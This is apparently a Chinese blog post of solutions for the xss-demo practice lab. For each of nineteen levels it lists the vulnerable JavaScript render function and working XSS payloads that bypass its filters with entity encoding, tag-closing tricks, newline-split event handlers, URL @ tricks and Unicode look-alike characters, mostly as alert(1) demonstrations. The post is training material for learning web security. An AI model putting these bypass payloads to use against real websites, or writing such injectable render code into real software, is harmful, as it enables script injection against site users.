xss-demon靶场通关payload

<script>alert(1)</script>
0x00
function render (input) {
  return '<div>' + input + '</div>'
}
<script>alert(1)</script>
0x01
function render (input) {
  return '<textarea>' + input + '</textarea>'
}
</textarea><script>alert(1)</script><textarea>
0x02 单标签
function render (input) {
  return '<input type="name" value="' + input + '">'
}
"><script>alert(1)</script><img
" onclick='alert(1)'
0x03 正则表达式 将小括号屏蔽掉变成空 可以用 反引号代替小括号
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
<script>alert`1`</script>
0x04 正则表达式  将小括号和反引号都变成空  翻译官 实体编码字符  
对括号进行unicode编码  (ASCII转Unicode) svg就是会把unicode字符转成相应的ascii码
左括号是    &#40;    右括号是   &#41;     
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
<svg><script>alert&#40;1&#41;</script>
<svg><script>alert&#96;1&#96;</script>   //这是反引号的unicode编码
0x05  在前端中 <!-- -->是注释符  但是也可以这么写 <!-- --!>  而且前端中 前标签一定要闭合 后标签随便
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>
--!> <script>alert(1)</script> <!--
0x06  正则表达式: auto或者on开头 后面跟任意东西直到出现等号或者> 都转化为下划线
换行在前端程序中是可以成立执行的,换行一样有用(方法1)
设置为onmouseover 这样鼠标拂过即可触发(方法2)
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}
onerror
="alert(1)"
onmouseover
="alert(1)"
0x07  正则表达式  所有标签类的 只允许写左标签 右标签一加上就替换为空
所以可以只写单标签的 如<img   实战中img会一直向后搜索 直到出现任何一个右标签才会结束掉img
<article>  </article>  article标签内部允许img等标签的存在
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"
0x08  style标签内部不能执行js代码
正则表达式  会把</style>替换成  /* 坏人 */   换行再闭合即可(方法1)
(方法2)闭合完直接换行也可以绕过防火墙
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}
</style
><script>alert(1)</script><style>
</style ><script>alert(1)</script><style>
0x09  输入的内容中必须有 http://www.segmentfault.com 否则就报错
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}
http://www.segmentfault.com"></script><img src=x onerror="alert(1)"
http://www.segmentfault.com" onload="alert(1)
https://www.segmentfault.com"></script><script>alert(1)</script>
XSS1靶场高级篇
0x0A  将很多符号都转变成了unicode字符
js中需要加载多个网页可以使用@符号  同时<script src=xxx> 可以引入一个地址 地址中可以实现弹窗也行
在phpstudy本地下新建一个含弹窗代码的js文件 然后src定向到相应文件即可实现弹窗
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }


  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}
http://www.segmentfault.com@http://127.0.0.1/abc.js
0x0B
toUpperCase会把所有内容转变成大写 大写的没有办法被执行  js是大小写敏感的
文件名是不敏感大小写的
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
<script src="http://127.0.0.1/ABC.JS"></script>
PS:ABC.JS中弹窗设置为1 这样这个靶场才会通关 这是无关紧要 掌握就行
js标签,src的地址,随便    但是js的语法是大小写敏感的,例如 ALERT没办法执行  公网上的地址必须是别人可以浏览的到才可以
0x0C  
把所有的script替换为空 并且把输入的内容都变成大写
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
<scscriptript src="http://127.0.0.1/ABC.JS"></scscriptript>
0x0D
输入的内容会放到alert中,却在注释的部分    replace会把 左尖括号过滤为空 单引号 双引号 斜杠也会被替换为空
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
xx
alert(1)
-->
0x0E
匹配了左边< 左括号 然后加下划线 之后再将输入的内容都转成大写
使用维基百科搜索s,会发现长s 英文可以比较猥琐的绕过
ß(有时写成ss)
ſ(长s)
ʃ — Esh
∫ — 积分符号
$ — 钱的符号
function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
<ſcript src="http://127.0.0.1/ABC.JS"></script>
0x0F
输入的东西都以文本形式在console显示 而且还存在替换
由于是onerror 所以没有闭合也没事,错了也没事,只要有一个能执行都可以
<script>console.log('haha');alert(1)</script>
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
onerror="console.error(' ');alert(1)// ')"
');alert(1)//
0x10
直接输入相应的alert命令即可实现弹窗
function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}
alert(1)
2
alert(1)
0x11
// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}
");alert(1);//
0x12 双引号被转义了 加一个反斜杠把转移符号转义掉 就可以实现了
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}
\");alert(1);//

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值